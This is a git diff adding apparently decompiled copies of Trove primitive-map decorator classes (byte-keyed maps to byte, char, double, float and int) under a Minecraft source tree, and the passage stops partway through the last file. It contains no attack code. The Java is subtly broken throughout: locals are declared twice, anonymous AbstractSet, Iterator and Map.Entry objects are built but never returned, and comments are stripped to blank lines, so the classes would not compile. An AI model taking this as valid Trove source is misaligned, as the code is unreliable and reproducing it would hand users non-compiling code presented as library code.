--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TByteByteMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TByteByteIterator;
+import gnu.trove.map.TByteByteMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteByteMapDecorator
+  extends AbstractMap<Byte, Byte>
+  implements Map<Byte, Byte>, Externalizable, Cloneable
+{
+  protected TByteByteMap _map;
+  
+  public TByteByteMapDecorator() {}
+  
+  public TByteByteMapDecorator(TByteByteMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TByteByteMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Byte put(Byte key, Byte value)
+  {
+    byte k;
+    
+
+
+    byte k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    byte v;
+    byte v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    byte retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Byte get(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Byte remove(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Byte, Byte>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TByteByteMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Byte, Byte>> iterator()
+      {
+        new Iterator() {
+          private final TByteByteIterator it = _map.iterator();
+          
+          public Map.Entry<Byte, Byte> next() {
+            it.advance();
+            final Byte key = wrapKey(it.key());
+            final Byte v = wrapValue(it.value());
+            new Map.Entry() {
+              private Byte val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Byte getKey()
+              {
+                return key;
+              }
+              
+              public Byte getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Byte setValue(Byte value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Byte, Byte> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Byte key = (Byte)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Byte, Byte>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TByteByteMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Byte)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Byte)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Byte, ? extends Byte> map)
+  {
+    Iterator<? extends Map.Entry<? extends Byte, ? extends Byte>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Byte, ? extends Byte> e = (Map.Entry)it.next();
+      put((Byte)e.getKey(), (Byte)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapKey(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapKey(Object key)
+  {
+    return ((Byte)key).byteValue();
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapValue(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapValue(Object value)
+  {
+    return ((Byte)value).byteValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TByteByteMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TByteCharMapDecorator.java b/src/minecraft/gnu/trove/decorator/TByteCharMapDecorator.java
new file mode 100644
index 0000000..1380ae3
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TByteCharMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TByteCharIterator;
+import gnu.trove.map.TByteCharMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteCharMapDecorator
+  extends AbstractMap<Byte, Character>
+  implements Map<Byte, Character>, Externalizable, Cloneable
+{
+  protected TByteCharMap _map;
+  
+  public TByteCharMapDecorator() {}
+  
+  public TByteCharMapDecorator(TByteCharMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TByteCharMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Character put(Byte key, Character value)
+  {
+    byte k;
+    
+
+
+    byte k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    char v;
+    char v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    char retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Character get(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Character remove(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Byte, Character>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TByteCharMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Byte, Character>> iterator()
+      {
+        new Iterator() {
+          private final TByteCharIterator it = _map.iterator();
+          
+          public Map.Entry<Byte, Character> next() {
+            it.advance();
+            final Byte key = wrapKey(it.key());
+            final Character v = wrapValue(it.value());
+            new Map.Entry() {
+              private Character val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Byte getKey()
+              {
+                return key;
+              }
+              
+              public Character getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Character setValue(Character value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Byte, Character> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Byte key = (Byte)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Byte, Character>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TByteCharMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Character)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Byte)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Byte, ? extends Character> map)
+  {
+    Iterator<? extends Map.Entry<? extends Byte, ? extends Character>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Byte, ? extends Character> e = (Map.Entry)it.next();
+      put((Byte)e.getKey(), (Character)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapKey(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapKey(Object key)
+  {
+    return ((Byte)key).byteValue();
+  }
+  
+
+
+
+
+
+
+  protected Character wrapValue(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapValue(Object value)
+  {
+    return ((Character)value).charValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TByteCharMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TByteDoubleMapDecorator.java b/src/minecraft/gnu/trove/decorator/TByteDoubleMapDecorator.java
new file mode 100644
index 0000000..2b140cf
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TByteDoubleMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TByteDoubleIterator;
+import gnu.trove.map.TByteDoubleMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteDoubleMapDecorator
+  extends AbstractMap<Byte, Double>
+  implements Map<Byte, Double>, Externalizable, Cloneable
+{
+  protected TByteDoubleMap _map;
+  
+  public TByteDoubleMapDecorator() {}
+  
+  public TByteDoubleMapDecorator(TByteDoubleMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TByteDoubleMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Double put(Byte key, Double value)
+  {
+    byte k;
+    
+
+
+    byte k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    double v;
+    double v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    double retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Double get(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Double remove(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Byte, Double>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TByteDoubleMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Byte, Double>> iterator()
+      {
+        new Iterator() {
+          private final TByteDoubleIterator it = _map.iterator();
+          
+          public Map.Entry<Byte, Double> next() {
+            it.advance();
+            final Byte key = wrapKey(it.key());
+            final Double v = wrapValue(it.value());
+            new Map.Entry() {
+              private Double val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Byte getKey()
+              {
+                return key;
+              }
+              
+              public Double getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Double setValue(Double value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Byte, Double> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Byte key = (Byte)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Byte, Double>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TByteDoubleMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Double)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Byte)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Byte, ? extends Double> map)
+  {
+    Iterator<? extends Map.Entry<? extends Byte, ? extends Double>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Byte, ? extends Double> e = (Map.Entry)it.next();
+      put((Byte)e.getKey(), (Double)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapKey(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapKey(Object key)
+  {
+    return ((Byte)key).byteValue();
+  }
+  
+
+
+
+
+
+
+  protected Double wrapValue(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapValue(Object value)
+  {
+    return ((Double)value).doubleValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TByteDoubleMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TByteFloatMapDecorator.java b/src/minecraft/gnu/trove/decorator/TByteFloatMapDecorator.java
new file mode 100644
index 0000000..c0bd4ec
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TByteFloatMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TByteFloatIterator;
+import gnu.trove.map.TByteFloatMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteFloatMapDecorator
+  extends AbstractMap<Byte, Float>
+  implements Map<Byte, Float>, Externalizable, Cloneable
+{
+  protected TByteFloatMap _map;
+  
+  public TByteFloatMapDecorator() {}
+  
+  public TByteFloatMapDecorator(TByteFloatMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TByteFloatMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Float put(Byte key, Float value)
+  {
+    byte k;
+    
+
+
+    byte k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    float v;
+    float v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    float retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Float get(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Float remove(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Byte, Float>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TByteFloatMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Byte, Float>> iterator()
+      {
+        new Iterator() {
+          private final TByteFloatIterator it = _map.iterator();
+          
+          public Map.Entry<Byte, Float> next() {
+            it.advance();
+            final Byte key = wrapKey(it.key());
+            final Float v = wrapValue(it.value());
+            new Map.Entry() {
+              private Float val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Byte getKey()
+              {
+                return key;
+              }
+              
+              public Float getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Float setValue(Float value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Byte, Float> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Byte key = (Byte)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Byte, Float>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TByteFloatMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Float)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Byte)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Byte, ? extends Float> map)
+  {
+    Iterator<? extends Map.Entry<? extends Byte, ? extends Float>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Byte, ? extends Float> e = (Map.Entry)it.next();
+      put((Byte)e.getKey(), (Float)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapKey(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapKey(Object key)
+  {
+    return ((Byte)key).byteValue();
+  }
+  
+
+
+
+
+
+
+  protected Float wrapValue(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapValue(Object value)
+  {
+    return ((Float)value).floatValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TByteFloatMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TByteIntMapDecorator.java b/src/minecraft/gnu/trove/decorator/TByteIntMapDecorator.java
new file mode 100644
index 0000000..5f26b44
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TByteIntMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TByteIntIterator;
+import gnu.trove.map.TByteIntMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteIntMapDecorator
+  extends AbstractMap<Byte, Integer>
+  implements Map<Byte, Integer>, Externalizable, Cloneable
+{
+  protected TByteIntMap _map;
+  
+  public TByteIntMapDecorator() {}
+  
+  public TByteIntMapDecorator(TByteIntMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TByteIntMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Integer put(Byte key, Integer value)
+  {
+    byte k;
+    
+
+
+    byte k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    int v;
+    int v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    int retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Integer get(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Integer remove(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Byte, Integer>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TByteIntMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Byte, Integer>> iterator()
+      {
+        new Iterator() {
+          private final TByteIntIterator it = _map.iterator();
+          
+          public Map.Entry<Byte, Integer> next() {
+            it.advance();
+            final Byte key = wrapKey(it.key());
+            final Integer v = wrapValue(it.value());
+            new Map.Entry() {
+              private Integer val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Byte getKey()
+              {
+                return key;
+              }
+              
+              public Integer getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Integer setValue(Integer value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Byte, Integer> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Byte key = (Byte)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Byte, Integer>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TByteIntMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Integer)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Byte)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Byte, ? extends Integer> map)
+  {
+    Iterator<? extends Map.Entry<? extends Byte, ? extends Integer>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Byte, ? extends Integer> e = (Map.Entry)it.next();
+      put((Byte)e.getKey(), (Integer)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
